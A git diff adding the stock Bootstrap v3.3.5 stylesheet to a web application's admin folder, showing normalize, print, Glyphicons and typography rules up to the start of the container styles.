new file mode 100644
index 0000000..680e768
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/css/bootstrap.css
@@ -0,0 +1,6800 @@
+/*!
+ * Bootstrap v3.3.5 (http://getbootstrap.com)
+ * Copyright 2011-2015 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */
+html {
+ font-family: sans-serif;
+ -webkit-text-size-adjust: 100%;
+ -ms-text-size-adjust: 100%;
+}
+body {
+ margin: 0;
+}
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+main,
+menu,
+nav,
+section,
+summary {
+ display: block;
+}
+audio,
+canvas,
+progress,
+video {
+ display: inline-block;
+ vertical-align: baseline;
+}
+audio:not([controls]) {
+ display: none;
+ height: 0;
+}
+[hidden],
+template {
+ display: none;
+}
+a {
+ background-color: transparent;
+}
+a:active,
+a:hover {
+ outline: 0;
+}
+abbr[title] {
+ border-bottom: 1px dotted;
+}
+b,
+strong {
+ font-weight: bold;
+}
+dfn {
+ font-style: italic;
+}
+h1 {
+ margin: .67em 0;
+ font-size: 2em;
+}
+mark {
+ color: #000;
+ background: #ff0;
+}
+small {
+ font-size: 80%;
+}
+sub,
+sup {
+ position: relative;
+ font-size: 75%;
+ line-height: 0;
+ vertical-align: baseline;
+}
+sup {
+ top: -.5em;
+}
+sub {
+ bottom: -.25em;
+}
+img {
+ border: 0;
+}
+svg:not(:root) {
+ overflow: hidden;
+}
+figure {
+ margin: 1em 40px;
+}
+hr {
+ height: 0;
+ -webkit-box-sizing: content-box;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+pre {
+ overflow: auto;
+}
+code,
+kbd,
+pre,
+samp {
+ font-family: monospace, monospace;
+ font-size: 1em;
+}
+button,
+input,
+optgroup,
+select,
+textarea {
+ margin: 0;
+ font: inherit;
+ color: inherit;
+}
+button {
+ overflow: visible;
+}
+button,
+select {
+ text-transform: none;
+}
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+ -webkit-appearance: button;
+ cursor: pointer;
+}
+button[disabled],
+html input[disabled] {
+ cursor: default;
+}
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+ padding: 0;
+ border: 0;
+}
+input {
+ line-height: normal;
+}
+input[type="checkbox"],
+input[type="radio"] {
+ -webkit-box-sizing: border-box;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+ padding: 0;
+}
+input[type="number"]::-webkit-inner-spin-button,
+input[type="number"]::-webkit-outer-spin-button {
+ height: auto;
+}
+input[type="search"] {
+ -webkit-box-sizing: content-box;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+ -webkit-appearance: textfield;
+}
+input[type="search"]::-webkit-search-cancel-button,
+input[type="search"]::-webkit-search-decoration {
+ -webkit-appearance: none;
+}
+fieldset {
+ padding: .35em .625em .75em;
+ margin: 0 2px;
+ border: 1px solid #c0c0c0;
+}
+legend {
+ padding: 0;
+ border: 0;
+}
+textarea {
+ overflow: auto;
+}
+optgroup {
+ font-weight: bold;
+}
+table {
+ border-spacing: 0;
+ border-collapse: collapse;
+}
+td,
+th {
+ padding: 0;
+}
+/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */
+@media print {
+ *,
+ *:before,
+ *:after {
+ color: #000 !important;
+ text-shadow: none !important;
+ background: transparent !important;
+ -webkit-box-shadow: none !important;
+ box-shadow: none !important;
+ }
+ a,
+ a:visited {
+ text-decoration: underline;
+ }
+ a[href]:after {
+ content: " (" attr(href) ")";
+ }
+ abbr[title]:after {
+ content: " (" attr(title) ")";
+ }
+ a[href^="#"]:after,
+ a[href^="javascript:"]:after {
+ content: "";
+ }
+ pre,
+ blockquote {
+ border: 1px solid #999;
+
+ page-break-inside: avoid;
+ }
+ thead {
+ display: table-header-group;
+ }
+ tr,
+ img {
+ page-break-inside: avoid;
+ }
+ img {
+ max-width: 100% !important;
+ }
+ p,
+ h2,
+ h3 {
+ orphans: 3;
+ widows: 3;
+ }
+ h2,
+ h3 {
+ page-break-after: avoid;
+ }
+ .navbar {
+ display: none;
+ }
+ .btn > .caret,
+ .dropup > .btn > .caret {
+ border-top-color: #000 !important;
+ }
+ .label {
+ border: 1px solid #000;
+ }
+ .table {
+ border-collapse: collapse !important;
+ }
+ .table td,
+ .table th {
+ background-color: #fff !important;
+ }
+ .table-bordered th,
+ .table-bordered td {
+ border: 1px solid #ddd !important;
+ }
+}
+@font-face {
+ font-family: 'Glyphicons Halflings';
+
+ src: url('../fonts/glyphicons-halflings-regular.eot');
+ src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');
+}
+.glyphicon {
+ position: relative;
+ top: 1px;
+ display: inline-block;
+ font-family: 'Glyphicons Halflings';
+ font-style: normal;
+ font-weight: normal;
+ line-height: 1;
+
+ -webkit-font-smoothing: antialiased;
+ -moz-osx-font-smoothing: grayscale;
+}
+.glyphicon-asterisk:before {
+ content: "\2a";
+}
+.glyphicon-plus:before {
+ content: "\2b";
+}
+.glyphicon-euro:before,
+.glyphicon-eur:before {
+ content: "\20ac";
+}
+.glyphicon-minus:before {
+ content: "\2212";
+}
+.glyphicon-cloud:before {
+ content: "\2601";
+}
+.glyphicon-envelope:before {
+ content: "\2709";
+}
+.glyphicon-pencil:before {
+ content: "\270f";
+}
+.glyphicon-glass:before {
+ content: "\e001";
+}
+.glyphicon-music:before {
+ content: "\e002";
+}
+.glyphicon-search:before {
+ content: "\e003";
+}
+.glyphicon-heart:before {
+ content: "\e005";
+}
+.glyphicon-star:before {
+ content: "\e006";
+}
+.glyphicon-star-empty:before {
+ content: "\e007";
+}
+.glyphicon-user:before {
+ content: "\e008";
+}
+.glyphicon-film:before {
+ content: "\e009";
+}
+.glyphicon-th-large:before {
+ content: "\e010";
+}
+.glyphicon-th:before {
+ content: "\e011";
+}
+.glyphicon-th-list:before {
+ content: "\e012";
+}
+.glyphicon-ok:before {
+ content: "\e013";
+}
+.glyphicon-remove:before {
+ content: "\e014";
+}
+.glyphicon-zoom-in:before {
+ content: "\e015";
+}
+.glyphicon-zoom-out:before {
+ content: "\e016";
+}
+.glyphicon-off:before {
+ content: "\e017";
+}
+.glyphicon-signal:before {
+ content: "\e018";
+}
+.glyphicon-cog:before {
+ content: "\e019";
+}
+.glyphicon-trash:before {
+ content: "\e020";
+}
+.glyphicon-home:before {
+ content: "\e021";
+}
+.glyphicon-file:before {
+ content: "\e022";
+}
+.glyphicon-time:before {
+ content: "\e023";
+}
+.glyphicon-road:before {
+ content: "\e024";
+}
+.glyphicon-download-alt:before {
+ content: "\e025";
+}
+.glyphicon-download:before {
+ content: "\e026";
+}
+.glyphicon-upload:before {
+ content: "\e027";
+}
+.glyphicon-inbox:before {
+ content: "\e028";
+}
+.glyphicon-play-circle:before {
+ content: "\e029";
+}
+.glyphicon-repeat:before {
+ content: "\e030";
+}
+.glyphicon-refresh:before {
+ content: "\e031";
+}
+.glyphicon-list-alt:before {
+ content: "\e032";
+}
+.glyphicon-lock:before {
+ content: "\e033";
+}
+.glyphicon-flag:before {
+ content: "\e034";
+}
+.glyphicon-headphones:before {
+ content: "\e035";
+}
+.glyphicon-volume-off:before {
+ content: "\e036";
+}
+.glyphicon-volume-down:before {
+ content: "\e037";
+}
+.glyphicon-volume-up:before {
+ content: "\e038";
+}
+.glyphicon-qrcode:before {
+ content: "\e039";
+}
+.glyphicon-barcode:before {
+ content: "\e040";
+}
+.glyphicon-tag:before {
+ content: "\e041";
+}
+.glyphicon-tags:before {
+ content: "\e042";
+}
+.glyphicon-book:before {
+ content: "\e043";
+}
+.glyphicon-bookmark:before {
+ content: "\e044";
+}
+.glyphicon-print:before {
+ content: "\e045";
+}
+.glyphicon-camera:before {
+ content: "\e046";
+}
+.glyphicon-font:before {
+ content: "\e047";
+}
+.glyphicon-bold:before {
+ content: "\e048";
+}
+.glyphicon-italic:before {
+ content: "\e049";
+}
+.glyphicon-text-height:before {
+ content: "\e050";
+}
+.glyphicon-text-width:before {
+ content: "\e051";
+}
+.glyphicon-align-left:before {
+ content: "\e052";
+}
+.glyphicon-align-center:before {
+ content: "\e053";
+}
+.glyphicon-align-right:before {
+ content: "\e054";
+}
+.glyphicon-align-justify:before {
+ content: "\e055";
+}
+.glyphicon-list:before {
+ content: "\e056";
+}
+.glyphicon-indent-left:before {
+ content: "\e057";
+}
+.glyphicon-indent-right:before {
+ content: "\e058";
+}
+.glyphicon-facetime-video:before {
+ content: "\e059";
+}
+.glyphicon-picture:before {
+ content: "\e060";
+}
+.glyphicon-map-marker:before {
+ content: "\e062";
+}
+.glyphicon-adjust:before {
+ content: "\e063";
+}
+.glyphicon-tint:before {
+ content: "\e064";
+}
+.glyphicon-edit:before {
+ content: "\e065";
+}
+.glyphicon-share:before {
+ content: "\e066";
+}
+.glyphicon-check:before {
+ content: "\e067";
+}
+.glyphicon-move:before {
+ content: "\e068";
+}
+.glyphicon-step-backward:before {
+ content: "\e069";
+}
+.glyphicon-fast-backward:before {
+ content: "\e070";
+}
+.glyphicon-backward:before {
+ content: "\e071";
+}
+.glyphicon-play:before {
+ content: "\e072";
+}
+.glyphicon-pause:before {
+ content: "\e073";
+}
+.glyphicon-stop:before {
+ content: "\e074";
+}
+.glyphicon-forward:before {
+ content: "\e075";
+}
+.glyphicon-fast-forward:before {
+ content: "\e076";
+}
+.glyphicon-step-forward:before {
+ content: "\e077";
+}
+.glyphicon-eject:before {
+ content: "\e078";
+}
+.glyphicon-chevron-left:before {
+ content: "\e079";
+}
+.glyphicon-chevron-right:before {
+ content: "\e080";
+}
+.glyphicon-plus-sign:before {
+ content: "\e081";
+}
+.glyphicon-minus-sign:before {
+ content: "\e082";
+}
+.glyphicon-remove-sign:before {
+ content: "\e083";
+}
+.glyphicon-ok-sign:before {
+ content: "\e084";
+}
+.glyphicon-question-sign:before {
+ content: "\e085";
+}
+.glyphicon-info-sign:before {
+ content: "\e086";
+}
+.glyphicon-screenshot:before {
+ content: "\e087";
+}
+.glyphicon-remove-circle:before {
+ content: "\e088";
+}
+.glyphicon-ok-circle:before {
+ content: "\e089";
+}
+.glyphicon-ban-circle:before {
+ content: "\e090";
+}
+.glyphicon-arrow-left:before {
+ content: "\e091";
+}
+.glyphicon-arrow-right:before {
+ content: "\e092";
+}
+.glyphicon-arrow-up:before {
+ content: "\e093";
+}
+.glyphicon-arrow-down:before {
+ content: "\e094";
+}
+.glyphicon-share-alt:before {
+ content: "\e095";
+}
+.glyphicon-resize-full:before {
+ content: "\e096";
+}
+.glyphicon-resize-small:before {
+ content: "\e097";
+}
+.glyphicon-exclamation-sign:before {
+ content: "\e101";
+}
+.glyphicon-gift:before {
+ content: "\e102";
+}
+.glyphicon-leaf:before {
+ content: "\e103";
+}
+.glyphicon-fire:before {
+ content: "\e104";
+}
+.glyphicon-eye-open:before {
+ content: "\e105";
+}
+.glyphicon-eye-close:before {
+ content: "\e106";
+}
+.glyphicon-warning-sign:before {
+ content: "\e107";
+}
+.glyphicon-plane:before {
+ content: "\e108";
+}
+.glyphicon-calendar:before {
+ content: "\e109";
+}
+.glyphicon-random:before {
+ content: "\e110";
+}
+.glyphicon-comment:before {
+ content: "\e111";
+}
+.glyphicon-magnet:before {
+ content: "\e112";
+}
+.glyphicon-chevron-up:before {
+ content: "\e113";
+}
+.glyphicon-chevron-down:before {
+ content: "\e114";
+}
+.glyphicon-retweet:before {
+ content: "\e115";
+}
+.glyphicon-shopping-cart:before {
+ content: "\e116";
+}
+.glyphicon-folder-close:before {
+ content: "\e117";
+}
+.glyphicon-folder-open:before {
+ content: "\e118";
+}
+.glyphicon-resize-vertical:before {
+ content: "\e119";
+}
+.glyphicon-resize-horizontal:before {
+ content: "\e120";
+}
+.glyphicon-hdd:before {
+ content: "\e121";
+}
+.glyphicon-bullhorn:before {
+ content: "\e122";
+}
+.glyphicon-bell:before {
+ content: "\e123";
+}
+.glyphicon-certificate:before {
+ content: "\e124";
+}
+.glyphicon-thumbs-up:before {
+ content: "\e125";
+}
+.glyphicon-thumbs-down:before {
+ content: "\e126";
+}
+.glyphicon-hand-right:before {
+ content: "\e127";
+}
+.glyphicon-hand-left:before {
+ content: "\e128";
+}
+.glyphicon-hand-up:before {
+ content: "\e129";
+}
+.glyphicon-hand-down:before {
+ content: "\e130";
+}
+.glyphicon-circle-arrow-right:before {
+ content: "\e131";
+}
+.glyphicon-circle-arrow-left:before {
+ content: "\e132";
+}
+.glyphicon-circle-arrow-up:before {
+ content: "\e133";
+}
+.glyphicon-circle-arrow-down:before {
+ content: "\e134";
+}
+.glyphicon-globe:before {
+ content: "\e135";
+}
+.glyphicon-wrench:before {
+ content: "\e136";
+}
+.glyphicon-tasks:before {
+ content: "\e137";
+}
+.glyphicon-filter:before {
+ content: "\e138";
+}
+.glyphicon-briefcase:before {
+ content: "\e139";
+}
+.glyphicon-fullscreen:before {
+ content: "\e140";
+}
+.glyphicon-dashboard:before {
+ content: "\e141";
+}
+.glyphicon-paperclip:before {
+ content: "\e142";
+}
+.glyphicon-heart-empty:before {
+ content: "\e143";
+}
+.glyphicon-link:before {
+ content: "\e144";
+}
+.glyphicon-phone:before {
+ content: "\e145";
+}
+.glyphicon-pushpin:before {
+ content: "\e146";
+}
+.glyphicon-usd:before {
+ content: "\e148";
+}
+.glyphicon-gbp:before {
+ content: "\e149";
+}
+.glyphicon-sort:before {
+ content: "\e150";
+}
+.glyphicon-sort-by-alphabet:before {
+ content: "\e151";
+}
+.glyphicon-sort-by-alphabet-alt:before {
+ content: "\e152";
+}
+.glyphicon-sort-by-order:before {
+ content: "\e153";
+}
+.glyphicon-sort-by-order-alt:before {
+ content: "\e154";
+}
+.glyphicon-sort-by-attributes:before {
+ content: "\e155";
+}
+.glyphicon-sort-by-attributes-alt:before {
+ content: "\e156";
+}
+.glyphicon-unchecked:before {
+ content: "\e157";
+}
+.glyphicon-expand:before {
+ content: "\e158";
+}
+.glyphicon-collapse-down:before {
+ content: "\e159";
+}
+.glyphicon-collapse-up:before {
+ content: "\e160";
+}
+.glyphicon-log-in:before {
+ content: "\e161";
+}
+.glyphicon-flash:before {
+ content: "\e162";
+}
+.glyphicon-log-out:before {
+ content: "\e163";
+}
+.glyphicon-new-window:before {
+ content: "\e164";
+}
+.glyphicon-record:before {
+ content: "\e165";
+}
+.glyphicon-save:before {
+ content: "\e166";
+}
+.glyphicon-open:before {
+ content: "\e167";
+}
+.glyphicon-saved:before {
+ content: "\e168";
+}
+.glyphicon-import:before {
+ content: "\e169";
+}
+.glyphicon-export:before {
+ content: "\e170";
+}
+.glyphicon-send:before {
+ content: "\e171";
+}
+.glyphicon-floppy-disk:before {
+ content: "\e172";
+}
+.glyphicon-floppy-saved:before {
+ content: "\e173";
+}
+.glyphicon-floppy-remove:before {
+ content: "\e174";
+}
+.glyphicon-floppy-save:before {
+ content: "\e175";
+}
+.glyphicon-floppy-open:before {
+ content: "\e176";
+}
+.glyphicon-credit-card:before {
+ content: "\e177";
+}
+.glyphicon-transfer:before {
+ content: "\e178";
+}
+.glyphicon-cutlery:before {
+ content: "\e179";
+}
+.glyphicon-header:before {
+ content: "\e180";
+}
+.glyphicon-compressed:before {
+ content: "\e181";
+}
+.glyphicon-earphone:before {
+ content: "\e182";
+}
+.glyphicon-phone-alt:before {
+ content: "\e183";
+}
+.glyphicon-tower:before {
+ content: "\e184";
+}
+.glyphicon-stats:before {
+ content: "\e185";
+}
+.glyphicon-sd-video:before {
+ content: "\e186";
+}
+.glyphicon-hd-video:before {
+ content: "\e187";
+}
+.glyphicon-subtitles:before {
+ content: "\e188";
+}
+.glyphicon-sound-stereo:before {
+ content: "\e189";
+}
+.glyphicon-sound-dolby:before {
+ content: "\e190";
+}
+.glyphicon-sound-5-1:before {
+ content: "\e191";
+}
+.glyphicon-sound-6-1:before {
+ content: "\e192";
+}
+.glyphicon-sound-7-1:before {
+ content: "\e193";
+}
+.glyphicon-copyright-mark:before {
+ content: "\e194";
+}
+.glyphicon-registration-mark:before {
+ content: "\e195";
+}
+.glyphicon-cloud-download:before {
+ content: "\e197";
+}
+.glyphicon-cloud-upload:before {
+ content: "\e198";
+}
+.glyphicon-tree-conifer:before {
+ content: "\e199";
+}
+.glyphicon-tree-deciduous:before {
+ content: "\e200";
+}
+.glyphicon-cd:before {
+ content: "\e201";
+}
+.glyphicon-save-file:before {
+ content: "\e202";
+}
+.glyphicon-open-file:before {
+ content: "\e203";
+}
+.glyphicon-level-up:before {
+ content: "\e204";
+}
+.glyphicon-copy:before {
+ content: "\e205";
+}
+.glyphicon-paste:before {
+ content: "\e206";
+}
+.glyphicon-alert:before {
+ content: "\e209";
+}
+.glyphicon-equalizer:before {
+ content: "\e210";
+}
+.glyphicon-king:before {
+ content: "\e211";
+}
+.glyphicon-queen:before {
+ content: "\e212";
+}
+.glyphicon-pawn:before {
+ content: "\e213";
+}
+.glyphicon-bishop:before {
+ content: "\e214";
+}
+.glyphicon-knight:before {
+ content: "\e215";
+}
+.glyphicon-baby-formula:before {
+ content: "\e216";
+}
+.glyphicon-tent:before {
+ content: "\26fa";
+}
+.glyphicon-blackboard:before {
+ content: "\e218";
+}
+.glyphicon-bed:before {
+ content: "\e219";
+}
+.glyphicon-apple:before {
+ content: "\f8ff";
+}
+.glyphicon-erase:before {
+ content: "\e221";
+}
+.glyphicon-hourglass:before {
+ content: "\231b";
+}
+.glyphicon-lamp:before {
+ content: "\e223";
+}
+.glyphicon-duplicate:before {
+ content: "\e224";
+}
+.glyphicon-piggy-bank:before {
+ content: "\e225";
+}
+.glyphicon-scissors:before {
+ content: "\e226";
+}
+.glyphicon-bitcoin:before {
+ content: "\e227";
+}
+.glyphicon-btc:before {
+ content: "\e227";
+}
+.glyphicon-xbt:before {
+ content: "\e227";
+}
+.glyphicon-yen:before {
+ content: "\00a5";
+}
+.glyphicon-jpy:before {
+ content: "\00a5";
+}
+.glyphicon-ruble:before {
+ content: "\20bd";
+}
+.glyphicon-rub:before {
+ content: "\20bd";
+}
+.glyphicon-scale:before {
+ content: "\e230";
+}
+.glyphicon-ice-lolly:before {
+ content: "\e231";
+}
+.glyphicon-ice-lolly-tasted:before {
+ content: "\e232";
+}
+.glyphicon-education:before {
+ content: "\e233";
+}
+.glyphicon-option-horizontal:before {
+ content: "\e234";
+}
+.glyphicon-option-vertical:before {
+ content: "\e235";
+}
+.glyphicon-menu-hamburger:before {
+ content: "\e236";
+}
+.glyphicon-modal-window:before {
+ content: "\e237";
+}
+.glyphicon-oil:before {
+ content: "\e238";
+}
+.glyphicon-grain:before {
+ content: "\e239";
+}
+.glyphicon-sunglasses:before {
+ content: "\e240";
+}
+.glyphicon-text-size:before {
+ content: "\e241";
+}
+.glyphicon-text-color:before {
+ content: "\e242";
+}
+.glyphicon-text-background:before {
+ content: "\e243";
+}
+.glyphicon-object-align-top:before {
+ content: "\e244";
+}
+.glyphicon-object-align-bottom:before {
+ content: "\e245";
+}
+.glyphicon-object-align-horizontal:before {
+ content: "\e246";
+}
+.glyphicon-object-align-left:before {
+ content: "\e247";
+}
+.glyphicon-object-align-vertical:before {
+ content: "\e248";
+}
+.glyphicon-object-align-right:before {
+ content: "\e249";
+}
+.glyphicon-triangle-right:before {
+ content: "\e250";
+}
+.glyphicon-triangle-left:before {
+ content: "\e251";
+}
+.glyphicon-triangle-bottom:before {
+ content: "\e252";
+}
+.glyphicon-triangle-top:before {
+ content: "\e253";
+}
+.glyphicon-console:before {
+ content: "\e254";
+}
+.glyphicon-superscript:before {
+ content: "\e255";
+}
+.glyphicon-subscript:before {
+ content: "\e256";
+}
+.glyphicon-menu-left:before {
+ content: "\e257";
+}
+.glyphicon-menu-right:before {
+ content: "\e258";
+}
+.glyphicon-menu-down:before {
+ content: "\e259";
+}
+.glyphicon-menu-up:before {
+ content: "\e260";
+}
+* {
+ -webkit-box-sizing: border-box;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+}
+*:before,
+*:after {
+ -webkit-box-sizing: border-box;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+}
+html {
+ font-size: 10px;
+
+ -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
+}
+body {
+ font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+ font-size: 14px;
+ line-height: 1.42857143;
+ color: #333;
+ background-color: #fff;
+}
+input,
+button,
+select,
+textarea {
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit;
+}
+a {
+ color: #337ab7;
+ text-decoration: none;
+}
+a:hover,
+a:focus {
+ color: #23527c;
+ text-decoration: underline;
+}
+a:focus {
+ outline: thin dotted;
+ outline: 5px auto -webkit-focus-ring-color;
+ outline-offset: -2px;
+}
+figure {
+ margin: 0;
+}
+img {
+ vertical-align: middle;
+}
+.img-responsive,
+.thumbnail > img,
+.thumbnail a > img,
+.carousel-inner > .item > img,
+.carousel-inner > .item > a > img {
+ display: block;
+ max-width: 100%;
+ height: auto;
+}
+.img-rounded {
+ border-radius: 6px;
+}
+.img-thumbnail {
+ display: inline-block;
+ max-width: 100%;
+ height: auto;
+ padding: 4px;
+ line-height: 1.42857143;
+ background-color: #fff;
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ -webkit-transition: all .2s ease-in-out;
+ -o-transition: all .2s ease-in-out;
+ transition: all .2s ease-in-out;
+}
+.img-circle {
+ border-radius: 50%;
+}
+hr {
+ margin-top: 20px;
+ margin-bottom: 20px;
+ border: 0;
+ border-top: 1px solid #eee;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ border: 0;
+}
+.sr-only-focusable:active,
+.sr-only-focusable:focus {
+ position: static;
+ width: auto;
+ height: auto;
+ margin: 0;
+ overflow: visible;
+ clip: auto;
+}
+[role="button"] {
+ cursor: pointer;
+}
+h1,
+h2,
+h3,
+h4,
+h5,
+h6,
+.h1,
+.h2,
+.h3,
+.h4,
+.h5,
+.h6 {
+ font-family: inherit;
+ font-weight: 500;
+ line-height: 1.1;
+ color: inherit;
+}
+h1 small,
+h2 small,
+h3 small,
+h4 small,
+h5 small,
+h6 small,
+.h1 small,
+.h2 small,
+.h3 small,
+.h4 small,
+.h5 small,
+.h6 small,
+h1 .small,
+h2 .small,
+h3 .small,
+h4 .small,
+h5 .small,
+h6 .small,
+.h1 .small,
+.h2 .small,
+.h3 .small,
+.h4 .small,
+.h5 .small,
+.h6 .small {
+ font-weight: normal;
+ line-height: 1;
+ color: #777;
+}
+h1,
+.h1,
+h2,
+.h2,
+h3,
+.h3 {
+ margin-top: 20px;
+ margin-bottom: 10px;
+}
+h1 small,
+.h1 small,
+h2 small,
+.h2 small,
+h3 small,
+.h3 small,
+h1 .small,
+.h1 .small,
+h2 .small,
+.h2 .small,
+h3 .small,
+.h3 .small {
+ font-size: 65%;
+}
+h4,
+.h4,
+h5,
+.h5,
+h6,
+.h6 {
+ margin-top: 10px;
+ margin-bottom: 10px;
+}
+h4 small,
+.h4 small,
+h5 small,
+.h5 small,
+h6 small,
+.h6 small,
+h4 .small,
+.h4 .small,
+h5 .small,
+.h5 .small,
+h6 .small,
+.h6 .small {
+ font-size: 75%;
+}
+h1,
+.h1 {
+ font-size: 36px;
+}
+h2,
+.h2 {
+ font-size: 30px;
+}
+h3,
+.h3 {
+ font-size: 24px;
+}
+h4,
+.h4 {
+ font-size: 18px;
+}
+h5,
+.h5 {
+ font-size: 14px;
+}
+h6,
+.h6 {
+ font-size: 12px;
+}
+p {
+ margin: 0 0 10px;
+}
+.lead {
+ margin-bottom: 20px;
+ font-size: 16px;
+ font-weight: 300;
+ line-height: 1.4;
+}
+@media (min-width: 768px) {
+ .lead {
+ font-size: 21px;
+ }
+}
+small,
+.small {
+ font-size: 85%;
+}
+mark,
+.mark {
+ padding: .2em;
+ background-color: #fcf8e3;
+}
+.text-left {
+ text-align: left;
+}
+.text-right {
+ text-align: right;
+}
+.text-center {
+ text-align: center;
+}
+.text-justify {
+ text-align: justify;
+}
+.text-nowrap {
+ white-space: nowrap;
+}
+.text-lowercase {
+ text-transform: lowercase;
+}
+.text-uppercase {
+ text-transform: uppercase;
+}
+.text-capitalize {
+ text-transform: capitalize;
+}
+.text-muted {
+ color: #777;
+}
+.text-primary {
+ color: #337ab7;
+}
+a.text-primary:hover,
+a.text-primary:focus {
+ color: #286090;
+}
+.text-success {
+ color: #3c763d;
+}
+a.text-success:hover,
+a.text-success:focus {
+ color: #2b542c;
+}
+.text-info {
+ color: #31708f;
+}
+a.text-info:hover,
+a.text-info:focus {
+ color: #245269;
+}
+.text-warning {
+ color: #8a6d3b;
+}
+a.text-warning:hover,
+a.text-warning:focus {
+ color: #66512c;
+}
+.text-danger {
+ color: #a94442;
+}
+a.text-danger:hover,
+a.text-danger:focus {
+ color: #843534;
+}
+.bg-primary {
+ color: #fff;
+ background-color: #337ab7;
+}
+a.bg-primary:hover,
+a.bg-primary:focus {
+ background-color: #286090;
+}
+.bg-success {
+ background-color: #dff0d8;
+}
+a.bg-success:hover,
+a.bg-success:focus {
+ background-color: #c1e2b3;
+}
+.bg-info {
+ background-color: #d9edf7;
+}
+a.bg-info:hover,
+a.bg-info:focus {
+ background-color: #afd9ee;
+}
+.bg-warning {
+ background-color: #fcf8e3;
+}
+a.bg-warning:hover,
+a.bg-warning:focus {
+ background-color: #f7ecb5;
+}
+.bg-danger {
+ background-color: #f2dede;
+}
+a.bg-danger:hover,
+a.bg-danger:focus {
+ background-color: #e4b9b9;
+}
+.page-header {
+ padding-bottom: 9px;
+ margin: 40px 0 20px;
+ border-bottom: 1px solid #eee;
+}
+ul,
+ol {
+ margin-top: 0;
+ margin-bottom: 10px;
+}
+ul ul,
+ol ul,
+ul ol,
+ol ol {
+ margin-bottom: 0;
+}
+.list-unstyled {
+ padding-left: 0;
+ list-style: none;
+}
+.list-inline {
+ padding-left: 0;
+ margin-left: -5px;
+ list-style: none;
+}
+.list-inline > li {
+ display: inline-block;
+ padding-right: 5px;
+ padding-left: 5px;
+}
+dl {
+ margin-top: 0;
+ margin-bottom: 20px;
+}
+dt,
+dd {
+ line-height: 1.42857143;
+}
+dt {
+ font-weight: bold;
+}
+dd {
+ margin-left: 0;
+}
+@media (min-width: 768px) {
+ .dl-horizontal dt {
+ float: left;
+ width: 160px;
+ overflow: hidden;
+ clear: left;
+ text-align: right;
+ text-overflow: ellipsis;
+ white-space: nowrap;
+ }
+ .dl-horizontal dd {
+ margin-left: 180px;
+ }
+}
+abbr[title],
+abbr[data-original-title] {
+ cursor: help;
+ border-bottom: 1px dotted #777;
+}
+.initialism {
+ font-size: 90%;
+ text-transform: uppercase;
+}
+blockquote {
+ padding: 10px 20px;
+ margin: 0 0 20px;
+ font-size: 17.5px;
+ border-left: 5px solid #eee;
+}
+blockquote p:last-child,
+blockquote ul:last-child,
+blockquote ol:last-child {
+ margin-bottom: 0;
+}
+blockquote footer,
+blockquote small,
+blockquote .small {
+ display: block;
+ font-size: 80%;
+ line-height: 1.42857143;
+ color: #777;
+}
+blockquote footer:before,
+blockquote small:before,
+blockquote .small:before {
+ content: '\2014 \00A0';
+}
+.blockquote-reverse,
+blockquote.pull-right {
+ padding-right: 15px;
+ padding-left: 0;
+ text-align: right;
+ border-right: 5px solid #eee;
+ border-left: 0;
+}
+.blockquote-reverse footer:before,
+blockquote.pull-right footer:before,
+.blockquote-reverse small:before,
+blockquote.pull-right small:before,
+.blockquote-reverse .small:before,
+blockquote.pull-right .small:before {
+ content: '';
+}
+.blockquote-reverse footer:after,
+blockquote.pull-right footer:after,
+.blockquote-reverse small:after,
+blockquote.pull-right small:after,
+.blockquote-reverse .small:after,
+blockquote.pull-right .small:after {
+ content: '\00A0 \2014';
+}
+address {
+ margin-bottom: 20px;
+ font-style: normal;
+ line-height: 1.42857143;
+}
+code,
+kbd,
+pre,
+samp {
+ font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
+}
+code {
+ padding: 2px 4px;
+ font-size: 90%;
+ color: #c7254e;
+ background-color: #f9f2f4;
+ border-radius: 4px;
+}
+kbd {
+ padding: 2px 4px;
+ font-size: 90%;
+ color: #fff;
+ background-color: #333;
+ border-radius: 3px;
+ -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);
+ box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);
+}
+kbd kbd {
+ padding: 0;
+ font-size: 100%;
+ font-weight: bold;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+}
+pre {
+ display: block;
+ padding: 9.5px;
+ margin: 0 0 10px;
+ font-size: 13px;
+ line-height: 1.42857143;
+ color: #333;
+ word-break: break-all;
+ word-wrap: break-word;
+ background-color: #f5f5f5;
+ border: 1px solid #ccc;
+ border-radius: 4px;
+}
+pre code {
+ padding: 0;
+ font-size: inherit;
+ color: inherit;
+ white-space: pre-wrap;
+ background-color: transparent;
+ border-radius: 0;
+}
+.pre-scrollable {
+ max-height: 340px;
+ overflow-y: scroll;
+}
+.container {
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+@media (min-width: 768px) {
+ .container {
+ width: 750px;
+ }
+}
+@media (min-width: 992px) {
+ .container {
+ width: 970px;
+ }
+}
+@media (min-width: 1200px) {
+ .container {
+ width: 1170px;
+ }
+}
+.container-fluid {
+ padding-right: 15px;
